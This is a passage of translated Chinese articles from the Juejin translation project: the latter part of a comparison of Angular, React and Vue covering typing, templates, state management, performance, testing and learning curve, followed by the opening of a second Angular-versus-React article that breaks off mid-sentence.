表示,[使用静态类型并没有什么坏处](https://medium.com/@danwang74/the-economics-between-testing-and-types-4a3f8c8a86eb),同时有测试驱动开发(TDD)和静态类型挺好的。 你也应该知道你[可以使用 Flow 在 React 中启用类型检查](https://www.sitepoint.com/writing-better-javascript-with-flow/)。这是 Facebook 为 JavaScript 开发的静态类型检查器。Flow [也可以集成到 VueJS 中](https://alligator.io/vuejs/components-flow/)。 如果你在用 TypeScript 编写代码,那么你不需要再编写标准的 JavaScript 了。尽管它在不断发展,但与整个 JavaScript 语言相比,TypeScript 的用户群仍然很小。一个风险可能是你正在向错误的方向发展,因为 TypeScript 可能 - 也许不太可能 - 随着时间的推移也会消失。此外,TypeScript 为项目增加了很多(学习)开销 - 你可以在 [Eric Elliott](https://medium.com/@_ericelliott) 的 [Angular 2 vs. React 比较](https://medium.com/javascript-scene/angular-2-vs-react-the-ultimate-dance-off-60e7dfbc379c) 中阅读更多关于这方面的内容。 **更新**: [James Ravenscroft](https://medium.com/@jrwebdev) 在对这篇文章的评论中写道,[TypeScript 对 JSX 有一流的支持](https://medium.com/@jrwebdev/id-argue-that-if-you-love-typescript-then-react-may-be-a-better-choice-ceec950ee543) - 可以无缝地对组件进行类型检查。所以,如果你喜欢 TypeScript 并且你想使用 React,这应该不成问题。 ### 模板 —— JSX 还是 HTML React 打破了长期以来的最佳实践。几十年来,开发人员试图分离 UI 模板和内联的 Javascript 逻辑,但是使用 JSX,这些又被混合了。这听起来很糟糕,但是你应该听彼得·亨特(Peter Hunt)的演讲 “[React:反思最佳实践](https://www.youtube.com/watch?v=x7cQ3mrcKaY)”(2013 年 10 月)。他指出,分离模板和逻辑仅仅是技术的分离,而不是关注的分离。你应该构建组件而不是模板。组件是可重用的、可组合的、可单元测试的。 JSX 是一个类似 HTML 语法的可选预处理器,并随后在 JavaScript 中进行编译。JSX 有一些怪癖 —— 例如,你需要使用 className 而不是 class,因为后者是 Javascript 的保留字。JSX 对于开发来说是一个很大的优势,因为代码写在同一个地方,可以在代码完成和编译时更好地检查工作成果。当你在 JSX 中输入错误时,React 将不会编译,并打印输出错误的行号。Angular 2 在运行时静默失败(如果使用 Angular 中的预编译,这个参数可能是无效的)。 JSX 意味着 React 中的所有内容都是 Javascript -- 用于JSX模板和逻辑。[Cory House](https://medium.com/@housecor) 在 [2016 年 1 月的文章](https://medium.freecodecamp.org/angular-2-versus-react-there-will-be-blood-66595faafd51) 中指出:“Angular 2 继续把 'JS' 放到 HTML 中。React 把 'HTML' 放到JS 中。“这是一件好事,因为 Javascript 比 HTML 更强大。 Angular 模板使用特殊的 Angular 语法(比如 ngIf 或 ngFor)来增强 HTML。虽然 React 需要 JavaScript 的知识,但 Angular 会迫使你学习 [Angular 特有的语法](https://angular.io/guide/cheatsheet)。 Vue 具有“[单个文件组件](https://vuejs.org/v2/guide/single-file-components.html)”。这似乎是对于关注分离的权衡 - 模板,脚本和样式在一个文件中,但在三个不同的有序部分中。这意味着你可以获得语法高亮,CSS 支持以及更容易使用预处理器(如 Jade 或 SCSS)。我已经阅读过其他文章,JSX 更容易调试,因为 Vue 不会显示不规范 HTML 的语法错误。这是不正确的,因为 Vue [转换 HTML 来渲染函数](https://vuejs.org/v2/guide/render-function.html) - 所以错误显示没有问题(感谢 [Vinicius Reis](https://medium.com/@luizvinicius73) 的评论和更正!)。 旁注:如果你喜欢 JSX 的思路,并想在 Vue 中使用它,可以使用 [babel-plugin-transform-vue-jsx](https://github.com/vuejs/babel-plugin-transform-vue-jsx)。 ### 框架和库 Angular 是一个框架而不是一个库,因为它提供了关于如何构建应用程序的强有力的约束,并且还提供了更多开箱即用的功能。Angular 是一个 “完整的解决方案” - 功能齐全,你可以愉快的开始开发。你不需要研究库,路由解决方案或类似的东西 - 你只要开始工作就好了。 另一方面,React 和 Vue 是很灵活的。他们的库可以和各种包搭配。(在 [npm](https://www.npmjs.com/search?q=react&page=1&ranking=popularity) 上有很多 React 的包,但 Vue 的包比较少,因为毕竟这个框架还比较新)。有了 React,你甚至可以交换库本身的 API 兼容替代品,如 [Inferno](https://infernojs.org/)。然而,灵活性越大,责任就越大 - React 没有规则和有限的指导。每个项目都需要决定架构,而且事情可能更容易出错。 另一方面,Angular 还有一个令人困惑的构建工具,样板,检查器(linter)和时间片来处理。如果使用项目初始套件或样板,React 也是如此。他们自然是非常有帮助的,但是 React 可以开箱即用,这也许是你应该学习的方式。有时,在 JavaScript 环境中工作要使用各种工具被称为 “Javascript 疲劳症”。[Eric Clemmons](https://medium.com/@ericclemmons) 在他的[文章](https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4) 中说: > 当开始使用框架,还有一堆安装的工具,你可能会不习惯。这些都是框架生成的。很多开发人员不明白,框架内部发生了什么 —— 或者需要花费很多时间才能搞明白。 Vue 似乎是三个框架中最轻量的。GitLab 有一篇[关于 Vue.js(2016 年 10 月)的决定的博客文章](https://about.gitlab.com/2016/10/20/why-we-chose-vue/): > Vue.js 完美的兼顾了它将为你做什么和你需要做什么。(...)Vue.js 始终是可及的,一个坚固,但灵活的安全网,保证编程效率和把操作 DOM 造成的痛苦降到最低。 他们喜欢简单易用 —— 源代码非常易读,不需要任何文档或外部库。一切都非常简单。Vue.js “对任何东西都不做大的假设”。还有一个[关于 GitLab 决定的播客节目](https://www.youtube.com/watch?v=ioogrvs2Ejc#action=share)。 另一个来自 Pixeljets 的[关于向 Vue 转变](http://pixeljets.com/blog/why-we-chose-vuejs-over-react/) 的博文。React “是 JS 界在[意识层面](https://en.wikipedia.org/wiki/Single_source_of_truth)向前迈出的一大步,它以一种实用简洁的方式向人们展示了真正的函数式编程。和 Vue 相比,React 的一大缺点是由于 JSX 的限制,组件的粒度会更小。这里是文章的引述: > 对于我和我的团队来说,代码的可读性是很重要的,但编写代码很有趣也是非常重要的。在实现真正简单的计算器小部件时创建 6 个组件并不奇怪。在许多情况下,在维护,修改或对某个小部件进行可视化检查方面也是不好的,因为你需要绕过多个文件/函数并分别检查每个小块的 HTML。再次,我不是建议写巨石 - 我建议在日常开发中使用组件而不是微组件。 关于 [Hacker news](https://news.ycombinator.com/item?id=13151317) 和 [Reddit](https://www.reddit.com/r/webdev/comments/5ho71i/why_we_chose_vuejs_over_react/) 上的博客文章有趣的讨论 - 有来自 Vue 的持异议者和进一步支持者的争论。 ### 状态管理和数据绑定 构建用户界面很困难,因为处处都有状态 - 随着时间的推移而变化的数据带来了复杂性。定义的状态工作流程对于应用程序的增长和复杂性有很大的帮助。对于复杂度不大的应用程序,就不必定义的状态流了,像原生 JS 就足够了。 它是如何工作的?组件在任何时间点描述 UI。当数据改变时,框架重新渲染整个 UI 组件 - 显示的数据始终是最新的。我们可以把这个概念称为“ UI 即功能”。 React 经常与 Redux 在一起使用。**Redux** 以三个[基本原则](http://redux.js.org/docs/introduction/ThreePrinciples.html) 来自述: - 单一数据源(Single source of truth) - State 是只读的(State is read-only) - 使用纯函数执行修改(Changes are made with pure functions) 换句话说:整个应用程序的状态存储在单个 store 的状态树中。这有助于调试应用程序,一些功能更容易实现。状态是只读的,只能通过 action 来改变,以避免竞争条件(这也有助于调试)。编写 Reducer 来指定如何通过 action 来转换 state。 大多数教程和样板文件都已经集成了 Redux,但是如果没有它,你可以使用 React(你可能不需要在你的项目中使用 Redux)。Redux 在代码中引入了复杂性和相当强的约束。如果你正在学习React,那么在你要使用 Redux 之前,你应该考虑学习纯粹的 React。你绝对应该阅读 [Dan Abramov](https://medium.com/@dan_abramov) 的“[你可能不需要Redux](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367)”。 [有些开发人员](https://news.ycombinator.com/item?id=13151577) 建议使用 **[Mobx](https://github.com/mobxjs/mobx) 代替 Redux**。你可以把它看作是一个 “自动的 Redux”,这使得事情一开始就更容易使用和理解。如果你想了解,你应该从[介绍](https://mobxjs.github.io/mobx/getting-started.html)开始。你也可以阅读 Robin 的 [Redux 和 MobX 的比较](https://www.robinwieruch.de/redux-mobx-confusion/)。他还提供了有关[从 Redux 移动到 MobX](https://www.robinwieruch.de/mobx-react/)的信息。如果你想查找其他 Flux 库,[这个列表](https://github.com/voronianski/flux-comparison)非常有用。如果你是来自 MVC 的世界,那么你应该阅读 [Mikhail Levkovsky](https://medium.com/@mlovekovsky) 的文章“[Redux 中的思考(当你所知道的是 MVC)](https://medium.com/p/thinking-in-redux-when-all-youve-known-is-mvc-c78a74d35133?source=user_popover)”。 Vue 可以使用 Redux,但它提供了 [Vuex](https://github.com/vuejs/vuex) 作为自己的解决方案。 React 和 Angular 之间的巨大差异是 **单向与双向绑定**。当 UI 元素(例如,用户输入)被更新时,Angular 的双向绑定改变 model 状态。React 只有一种方法:先更新 model,然后渲染 UI 元素。Angular 的方式实现起来代码更干净,开发人员更容易实现。React 的方式会有更好的数据总览,因为数据只能在一个方向上流动(这使得调试更容易)。 这两个概念各有优劣。你需要了解这些概念,并确定这是否会影响你选择框架。文章“[双向数据绑定:Angular 2 和 React](https://www.accelebrate.com/blog/two-way-data-binding-angular-2-and-react/)”和[这个 Stackoverflow 上的问题](https://stackoverflow.com/questions/34519889/can-anyone-explain-the-difference-between-reacts-one-way-data-binding-and-angula)都提供了一个很好的解释。[在这里](http://n12v.com/2-way-data-binding/)你可以找到一些交互式的代码示例(3 年前的示例(,只适用于 Angular 1 和 React)。最后,Vue 支持[单向绑定和双向绑定](https://medium.com/js-dojo/exploring-vue-js-reactive-two-way-data-binding-da533d0c4554)(默认为单向绑定)。 如果你想进一步阅读,这有一篇长文,是有关状态的不同类型和 [Angular 应用程序中的状态管理](https://blog.nrwl.io/managing-state-in-angular-applications-22b75ef5625f)([Victor Savkin](https://medium.com/@vsavkin))。 ### 其他的编程概念 Angular 包含依赖注入(dependency injection),即一个对象将依赖项(服务)提供给另一个对象(客户端)的模式。这导致更多的灵活性和更干净的代码。文章 “[理解依赖注入](https://github.com/angular/angular.js/wiki/Understanding-Dependency-Injection)” 更详细地解释了这个概念。 [模型 - 视图 - 控制器模式](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)(MVC)将项目分为三个部分:模型,视图和控制器。Angular(MVC 模式的框架)有开箱即用的 MVC 特性。React 只有 V —— 你需要自己解决 M 和 C。 ### 灵活性与精简到微服务 你可以通过仅仅添加 React 或 Vue 的 JavaScript 库到你的源码中的方式去使用它们。但是由于 Angular 使用了 TypeScript,所以不能这样使用 Angular。 现在我们正在更多地转向微服务和微应用。React 和 Vue 通过只选择真正需要的东西,你可以更好地控制应用程序的大小。它们提供了更灵活的方式去把一个老应用的一部分从单页应用(SPA)转移到微服务。Angular 最适合单页应用(SPA),因为它可能太臃肿而不能用于微服务。 正如 [Cory House](https://medium.com/@housecor) 所说: > JavaScript 发展速度很快,而且 React 可以让你将应用程序的一小部分替换成更好用的 JS 库,而不是期待你的框架能够创新。**小巧,可组合的单一用途工具的理念永远不会过时**。 有些人对非单页的网站也使用 React(例如复杂的表单或向导)。甚至 Facebook 都没有把 React 用在 Facebook 的主页,而是用在特定的页面,实现特定的功能。 ### 体积和性能 任何框架都不会十全十美:Angular 框架非常臃肿。gzip 文件大小为 143k,而 Vue 为 23K,React 为 43k。 为了提高性能,React 和 Vue 都使用了虚拟 DOM(Virtual DOM)。如果你对此感兴趣,可以阅读[虚拟 DOM 和 DOM 之间的差异](http://reactkungfu.com/2015/10/the-difference-between-virtual-dom-and-dom/)以及 [react.js 中虚拟 DOM 的实际优势](https://www.accelebrate.com/blog/the-real-benefits-of-the-virtual-dom-in-react-js/)。此外,虚拟 DOM 的作者之一在 Stackoverflow 上回答了[性能的相关问题](https://stackoverflow.com/questions/21109361/why-is-reacts-concept-of-virtual-dom-said-to-be-more-performant-than-dirty-mode)。 为了检查性能,我看了一下最佳的 [js 框架基准](https://github.com/krausest/js-framework-benchmark)。你可以自己下载并运行它,或者查看[交互式结果表](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)。 ![](https://cdn-images-1.medium.com/max/800/1*YpbalqSUMYIYjXCduq7dcA.png) Angular,React 和 Vue 性能比较([源文件](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)) ![](https://cdn-images-1.medium.com/max/800/1*gpq0Y-rRczJ5C3DI5_EUlw.png) 内存分配([源文件](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)) 总结一下:Vue 有着很好的性能和高深的内存分配技巧。如果比较快慢的话,这些框架都非常接近(比如 [Inferno](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html))。请记住,性能基准只能作为考虑的附注,而不是作为判断标准。 ### 测试 Facebook [使用 Jest ](http://facebook.github.io/jest/)来测试其 React 代码。这里有篇 [Jest 和 Mocha 之间的比较](https://spin.atomicobject.com/2017/05/02/react-testing-jest-vs-mocha/)的文章 —— 还有一篇关于 [Enzyme 和 Mocha 如何一起使用](https://semaphoreci.com/community/tutorials/testing-react-components-with-enzyme-and-mocha) 的文章。Enzyme 是 Airbnb 使用的 JavaScript 测试工具(与 Jest,Karma 和其他测试框架一起使用)。如果你想了解更多,有一些关于在 React([这里](https://medium.com/@bruderstein/the-missing-piece-to-the-react-testing-puzzle-c51cd30df7a0) 和[这里](http://reactkungfu.com/2015/07/approaches-to-testing-react-components-an-overview/))测试的旧文章。 Angular 2 中使用 **Jasmine** 作为测试框架。[Eric Elliott](https://medium.com/@_ericelliott) 在一篇文章中抱怨说 Jasmine “有数百种测试和断言的方式,需要仔细阅读每一个,来了解它在做什么”。输出也是非常臃肿和难以阅读。有关 Angular 2 [与 Karma](https://medium.com/@laco0416/setting-up-angular-2-testing-environment-with-karma-and-webpack-e9b833befd99) 和 [Mocha](https://medium.com/@PeterNagyJob/angular2-configuration-and-unit-testing-with-mocha-and-chai-4ada9484e569) 的整合的一些有用的文章。这里有一个关于 [Angular 2 测试策略](https://www.youtube.com/watch?v=C0F2E-PRm44) 的旧视频(从2015年起)。 Vue 缺乏测试指导,但是 Evan 在 2017 年的展望中写道,[团队计划在这方面开展工作](https://medium.com/the-vue-point/vue-in-2016-8df71d98bfb3)。他们推荐使用 [Karma](http://karma-runner.github.io/1.0/index.html)。[Vue 和 Jest 结合使用](https://github.com/locoslab/vue-jest-utils),还有 [avoriaz 作为测试工具](https://github.com/eddyerburgh/avoriaz)。 ### 通用与原生 app 通用 app 正在将应用程序引入 web、搬上桌面,同样将深入原生 app 的世界。 React 和 Angular 都支持原生开发。Angular 拥有用于原生应用的 [NativeScript](https://docs.nativescript.org/tutorial/ng-chapter-0)(由 Telerik 支持)和用于混合开发的 Ionic 框架。借助 React,你可以试试 [react-native-renderer](http://angularjs.blogspot.de/2016/04/angular-2-react-native.html) 来构建跨平台的 iOS 和 Android 应用程序,或者用 [react-native](https://facebook.github.io/react-native/) 开发原生 app。许多 app(包括 Facebook;查看更多的[展示](https://facebook.github.io/react-native/showcase.html))都是用 react-native 构建的。 Javascript 框架在客户端上渲染页面。这对于性能,整体用户体验和 SEO 是不利的。服务器端预渲染是一个好办法。所有这三个框架都有相应的库来实现服务端渲染。React 有 next.js,Vue 有 nuxt.js,而 Angular 有......[Angular Universal](https://universal.angular.io/)。 ### 学习曲线 Angular 的学习曲线确实很陡。它有全面的文档,但你仍然可能被吓哭,因为[说起来容易做起来难](https://www.reddit.com/r/webdev/comments/5ho71i/why_we_chose_vuejs_over_react/db1vppj/)。即使你对 Javascript 有深入的了解,也需要了解框架的底层原理。去初始化项目是很神奇的,它会引入很多的包和代码。因为有一个大的,预先存在的生态系统,你需要随着时间的推移学习,这很不利。另一方面,由于已经做出了很多决定,所以在特定情况下可能会很好。对于 React,你可能需要针对第三方库进行大量重大决策。仅仅 React 中就有 16 种[不同的 flux 软件包来用于状态管理](https://github.com/voronianski/flux-comparison)可供选择。 Vue 学习起来很容易。公司转向 Vue 是因为它对初级开发者来说似乎更容易一些。这里有一片说他们团队为什么[从 Angular 转到 Vue](https://medium.com/@Hemantisme/moving-from-angular-to-vue-a-vuetiful-journey-c29842ab2039)的文章。[另一位用户](https://news.ycombinator.com/item?id=13151716) 表示,他公司的 React 应用程序非常复杂,以至于新开发人员无法跟上代码。有了 Vue,初级和高级开发人员之间的差距缩小了,他们可以更轻松地协作,减少 bug,减少解决问题的时间。 有些人说他们用 React 做的东西比用 Vue 做的更好。如果你是一个没有经验的 Javascript 开发人员 - 或者如果你在过去十年中主要使用 jQuery,那么你应该考虑使用 Vue。转向 React 时,思维方式的转换更为明显。Vue 看起来更像是简单的 Javascript,同时也引入了一些新的概念:组件,事件驱动模型和单向数据流。这同样是很小的部分。 同时,Angular 和 React 也有自己的实现方式。它们可能会限制你,因为你需要调整自己的做法,才能顺畅的开发。这可能是一个缺点,因为你不能随心所欲,而且学习曲线陡峭。这也可能是一个好处,因为你在学习技术时必须学习正确的概念。用 Vue,你可以用老方法来做。这一开始可能会比较容易上手,但长此以往会出现问题。 在调试方面,React 和 Vue 的黑魔法更少是一个加分项。找出 bug 更容易,因为需要看的地方少了,堆栈跟踪的时候,自己的代码和那些库之间有更明显的区别。使用 React 的人员报告说,他们永远不必阅读库的源代码。但是,在调试 Angular 应用程序时,通常需要调试 Angular 的内部来理解底层模型。从好的一面来看,从 Angular 4 开始,错误信息应该更清晰,更具信息性。 ### Angular, React 和 Vue 底层原理 你想自己阅读源代码吗?你想看看事情到底是怎么样的吗? 可能首先要查看 Github 仓库: React([github.com/facebook/react](https://github.com/facebook/react))、Angular([github.com/angular/angular](https://github.com/angular/angular))和 Vue([github.com/vuejs/vue](https://github.com/vuejs/vue))。 语法看起来怎么样?ValueCoders [比较 Angular,React 和 Vue 的语法](http://www.valuecoders.com/blog/technology-and-apps/vue-js-comparison-angular-react/)。 在生产环境中查看也很容易 —— 连同底层的源代码。[TodoMVC](http://todomvc.com/) 列出了几十个相同的 Todo 应用程序,用不同的 Javascript 框架编写 —— 你可以比较 [Angular](http://todomvc.com/examples/angularjs),[React](http://todomvc.com/examples/react/#/) 和 [Vue](http://todomvc.com/examples/vue/) 的解决方案。[RealWorld](https://realworld.io/#) 创建了一个真实世界的应用程序(中仿),他们已经准备好了 [Angular](https://github.com/gothinkster/angular-realworld-example-app)(4+)和 [React](https://github.com/gothinkster/react-redux-realworld-example-app)(带 Redux )的解决方案。[Vue](https://github.com/mchandleraz/realworld-vue) 的开发正在进行中。 你可以看到许多真实的 app,以下是 React 的方案: - [Do](https://github.com/1ven/do)(一款很好用的笔记管理 app,用 **React 和 Redux** 实现) - [sound-redux](https://github.com/andrewngu/sound-redux)(用 React 和 Redux 实现的 Soundcloud 客户端) - [Brainfock](https://github.com/Brainfock/Brainfock)(用 React 实现的项目和团队管理解决方案) - [react-hn](https://github.com/insin/react-hn) 和 [react-news](https://github.com/echenley/react-news)(仿 Hacker news) - [react-native-whatsapp-ui](https://github.com/himanshuchauhan/react-native-whatsapp-ui) 和 [教程](https://www.codementor.io/codementorteam/build-a-whatsapp-messenger-clone-in-react-part-1-4l2o0waav)(仿 Whatsapp 的 react-native 版) - [phoenix-trello](https://github.com/bigardone/phoenix-trello/blob/master/README.md)(仿 Trello) - [slack-clone](https://github.com/avrj/slack-clone) 和[其他教程](https://medium.com/@benhansen/lets-build-a-slack-clone-with-elixir-phoenix-and-react-part-1-project-setup-3252ae780a1) (仿Slack) 以下是 Angular 版的 app: - [angular2-hn](https://github.com/housseindjirdeh/angular2-hn) 和 [hn-ng2](https://github.com/hswolff/hn-ng2)(仿 Hacker News,[另一个由 Ashwin Sureshkumar 创建的很好的教程](https://medium.com/@Sureshkumar_Ash/angular-2-hackernews-clone-dynamic-components-routing-params-and-refactor-340773d82e6f)) - [Redux-and-angular-2](https://medium.com/@Sureshkumar_Ash/angular-2-hackernews-clone-dynamic-components-routing-params-and-refactor-340773d82e6f)(仿 Twitter) 以下是 Vue 版的 app: - [vue-hackernews-2.0](https://github.com/vuejs/vue-hackernews-2.0) 和 [Loopa news](https://github.com/Angarsk8/loopa-news)(仿Hacker News) - [vue-soundcloud](https://github.com/mul14/vue-soundcloud)(Soundcloud 演示) ## 总结 ### 现在决定使用哪个框架 React,Angular 和 Vue 都很酷,而且没有一个能明显的超过对方。相信你的直觉。[最后一点有趣的玩世不恭的言辞](https://wildermuth.com/2017/02/12/Why-I-Moved-to-Vue-js-from-Angular-2#comment-3153455874)可能会有助于你的决定: > 这个肮脏的小秘密就是大多数 “现代 JavaScript 开发” 与实际构建网站无关 —— 它正在构建可供构建可供人们使用的库或者包,这些人可以为编写教程和教授课程的人构建框架。我不确定任何人实际上正在为实际用户建立任何交互。 当然,这是夸张的,但是可能有一点点道理。是的,Javascript生态系统中有很多杂音。在你搜索的过程中,你可能会发现很多其他有吸引力的选项 —— 尽量不要被最新,最闪亮的框架蒙蔽。 ### 我应该选什么? 如果你在Google工作:**Angular** 如果你喜欢 TypeScript:**Angular([或 React](https://medium.com/@jrwebdev/id-argue-that-if-you-love-typescript-then-react-may-be-a-better-choice-ceec950ee543))** 如果你喜欢面向对象编程(OOP): **Angular** 如果你需要指导手册,架构和帮助:**Angular** 如果你在Facebook工作:**React** 如果你喜欢灵活性:**React** 如果你喜欢大型的技术生态系统:**React** 如果你喜欢在几十个软件包中进行选择:**React** 如果你喜欢JS和“一切都是 Javascript 的方法”:**React** 如果你喜欢真正干净的代码:**Vue** 如果你想要最平缓的学习曲线:**Vue** 如果你想要最轻量级的框架:**Vue** 如果你想在一个文件中分离关注点:**Vue** 如果你一个人工作,或者有一个小团队:**Vue(或 React)** 如果你的应用程序往往变得非常大:**Angular(或 React)** 如果你想用 react-native 构建一个应用程序:**React** 如果你想在圈子中有很多的开发者:**Angular 或 React** 如果你与设计师合作,并需要干净的 HTML 文件:**Angular or Vue** 如果你喜欢 Vue 但是害怕有限的技术生态系统:**React** 如果你不能决定,先学习 **React**,然后 **Vue**,然后 **Angular**。 **所以,你做出选择了吗?** ![Yeeesss,你做到了!](https://cdn-images-1.medium.com/max/800/1*Eq7k6tq-LbMpCJKNN5SZ3Q.png) 很好!阅读关于如何**开始 Angular,React 或 Vue** 开发(即将推出,在 [Twitter](http://www.twitter.com/jensneuhaus/) 上关注我的更新)。 ### More resources - [React JS,Angular 和 Vue JS —— 快速开始和比较](https://www.udemy.com/angular-reactjs-vuejs-quickstart-comparison/)(对这三个框架进行了 8 小时的介绍和比较) - [Angular React(和 Vue)- DEAL破坏者](https://hackernoon.com/angular-vs-react-the-deal-breaker-7d76c04496bc)(一个简短但很好的比较 [Dominik T](https://medium.com/@dominik.t)) - [Angular 2 和 React —— 终极之舞](https://medium.com/javascript-scene/angular-2-vs-react-the-ultimate-dance-off-60e7dfbc379c)([Eric Elliott](https://medium.com/@_ericelliott) 一个很好的比较) - [React Angular Ember 和 Vue.js](https://medium.com/@gsari/react-vs-angular-vs-ember-vs-vue-js-e186c0afc1be)([Gökhan Sari](https://medium.com/@gsari) 的三种框架的比较) - [React 和 Angular](https://www.sitepoint.com/react-vs-angular/)(两个框架的明确比较) - [Vue 可以战胜 React 吗?](https://rubygarage.org/blog/vuejs-vs-react-battle)(很多代码示例的一个很好的比较) - [10 个理由,为什么我从 Angular 转到 React](https://www.robinwieruch.de/reasons-why-i-moved-from-angular-to-react/)(Robin Wieruch 另一个很好的对比) - [所有的JavaScript框架都很糟糕](https://medium.com/@mattburgess/all-javascript-frameworks-are-terrible-e68d8865183e)([Matt Burgess](https://medium.com/@mattburgess) 对所有主要框架的大肆抨击) **感谢您的关注。我忘了重要的事吗?你有不同的意见吗?我总是很高兴得到反馈。** **在 Twitter 上关注我的更新和获取更多内容:** [@jensneuhaus](http://www.twitter.com/jensneuhaus/) —— 🙌 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/angular-vs-react-which-is-better-for-web-development.md ================================================ > * 原文地址:[Angular vs. React: Which Is Better for Web Development?](https://codeburst.io/angular-vs-react-which-is-better-for-web-development-e0dd1fefab5b) > * 原文作者:[Brandon Morelli](https://codeburst.io/@bmorelli25) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-which-is-better-for-web-development.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-which-is-better-for-web-development.md) > * 译者:[龙骑将杨影枫](https://github.com/stormrabbit) > * 校对者:[Larry](https://github.com/lampui)、[薛定谔的猫](https://github.com/Aladdin-ADD)、[逆寒](https://github.com/thisisandy) # Angular vs React:谁更适合前端开发 ## 大家总在写文章争论,Angular 与 React 哪一个才是前端开发的更好选择(译者:在中国还要加上 vue :P)。我们还需要另一个吗? 我之所以写这篇文章,是因为[这些](https://gofore.com/en/angular-2-vs-react-the-final-battle-round-1/)[发](https://medium.com/javascript-scene/angular-2-vs-react-the-ultimate-dance-off-60e7dfbc379c)[表](https://www.sitepoint.com/react-vs-angular/)的文章 —— 虽然它们包含不错的观点 —— 并没有深入讨论作为一个实际的前端开发者应该选取哪种框架来满足自己的需求。 ![](https://cdn-images-1.medium.com/max/1600/0*wom7vFVQS16VhuJB.jpg) 在本文中,我会介绍 Angular 与 React 如何用不同的~~哲♂学~~理念解决相同的前端问题,以及选择哪种框架基本上是看个人喜好。为了方便进行比较,我准备编写同一个 app 两次,一次使用 Angular 一次使用 React。 ### Angular 之殇 两年前,我写了一篇有关 [React 生态系统](https://www.toptal.com/react/navigating-the-react-ecosystem) 的文章。以我的观点来说,Angular 是“预发布时就跪了”的倒霉蛋(victim of “death by pre-announcement”)。那个时候,任何不想让自己项目跑在过时框架上的开发者很容易在 Angular 和 React 之间做出选择。Angular 1 就是被时代抛弃的框架,(原本的)Angular 2 甚至没有活到 alpha 版本。 不过事后证明,这种担心是多多少少有合理性的。Angular 2 进行了大幅度的修改,甚至在最终发布前对主要部分进行了重写。 两年后,我们有了相对稳定的 Angular 4。 怎么样? ### Angular vs React:风马牛不相及 (Comparing Apples and Oranges) 把 React 和 Angular 拿来比较是件很没意义的事情(校对逆寒: Comparing Apples and Oranges 是一种俚语说法,比喻把两件完全不同的东西拿来相提并论)。因为 React 只是一个处理界面(view)的库,而 Angular 是一个完整齐备的全家桶框架。 当然,大部分 [React 开发者](https://www.toptal.com/react)会添加一系列的库,使得 React 成为完整的框架。但是这套完整框架的工作流程又一次和 Angular 完全不同,所以其可比性也很有限。 两者最大的差别是对状态(state)的管理。Angular 通过数据绑定(data-binding)来将状态绑在数据上,而 React 如今通常引入 Redux 来提供单向数据流、处理不可变的数据(译者:我个人理解这句话的意思是 Angular 的数据和状态是互相影响的,而 React 只能通过切换不同的状态来显示不同的数据)。这是刚好互相对立的解决问题方法,而且开发者们不停的争论`可变的/数据绑定模式`与`不可变的/单向的数据流`两者间谁更优秀。 ### 公平竞争的环境 既然 React 更容易理解,为了便于比较,我决定编写一份 React 与 Angular 的对应表,来合理的并排比较两者的代码结构。 Angular 中有但是 React 没有默认自带的特性有: **特性** — **Angular 包** — **React 库** - 数据绑定,依赖注入(DI)—— **@angular/core** — [MobX](https://mobx.js.org/) - 计算属性 —— [**rxjs**](http://reactivex.io/)— [MobX](https://mobx.js.org/) - 基于组件的路由 —— **@angular/router**— [React Router v4](https://reacttraining.com/react-router/) - Material design 的组件 —— **@angular/material**— [React Toolbox](http://react-toolbox.com/#/) - CSS 组件作用域 —— **@angular/core** — [CSS modules](https://github.com/css-modules/css-modules) - 表单验证 —— **@angular/forms** — [FormState](https://formstate.github.io/) - 程序生产器(Project generator)—— **@angular/cli** — [React Scripts TS](https://github.com/wmonk/create-react-app-typescript) ### 数据绑定 相对单向数据流来说,数据绑定可能更适合入门。当然,也可以使用完全相反的做法(指单向数据流),比如使用 React 中的 [Redux](http://redux.js.org/) 或者 [mobx-state-tree](https://github.com/mobxjs/mobx-state-tree),或者使用 Angular 中的 [ngrx](https://github.com/ngrx/store)。不过那就是另一篇文章所要阐述的内容了。 ### 计算属性(Computed properties) > “除存储属性外,类、结构体和枚举可以定义计算属性,计算属性不直接存储值,而是提供一个 getter 来获取值,一个可选的 setter > 来间接设置其他属性或变量的值。” > > 摘录来自: Unknown. “The Swift Programming Language 中文版”。 iBooks. 考虑到性能问题,Angular 中简单的 `getters` 每次渲染时都被调用,所以被排除在外。这次我们使用 [RsJS](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/api/subjects/behaviorsubject.md) 中的 [BehaviorSubject](https://github.com/Reactive-Extensions/RxJS/blob/master/doc/api/subjects/behaviorsubject.md) 来处理此类问题。 在 React 中,可以使用 MobX 中的 [@computed](https://mobx.js.org/refguide/computed-decorator.html) 来达成相同的效果,而且此 api 会更方便一些。 ### 依赖注入 依赖注入有一定的争议性,因为它与当前 React 推行的`函数式编程/数据不可变性理念`背道而驰。事实证明,某种程度的依赖注入是数据绑定环境中必不可少的部分,因为它可以帮助没有独立数据层的结构解耦(这样做更便于使用模拟数据和测试)。 另一项依赖注入(Angular 中已支持)的优点是可以在(app)不同的生命周期中保有不同的数据仓库(store)。目前大部分 React 范例使用了映射到不同组件的全局状态(global app state)。但是依我的经验来看,当组件卸载(unmount)的时候清理全局状态很容易产生 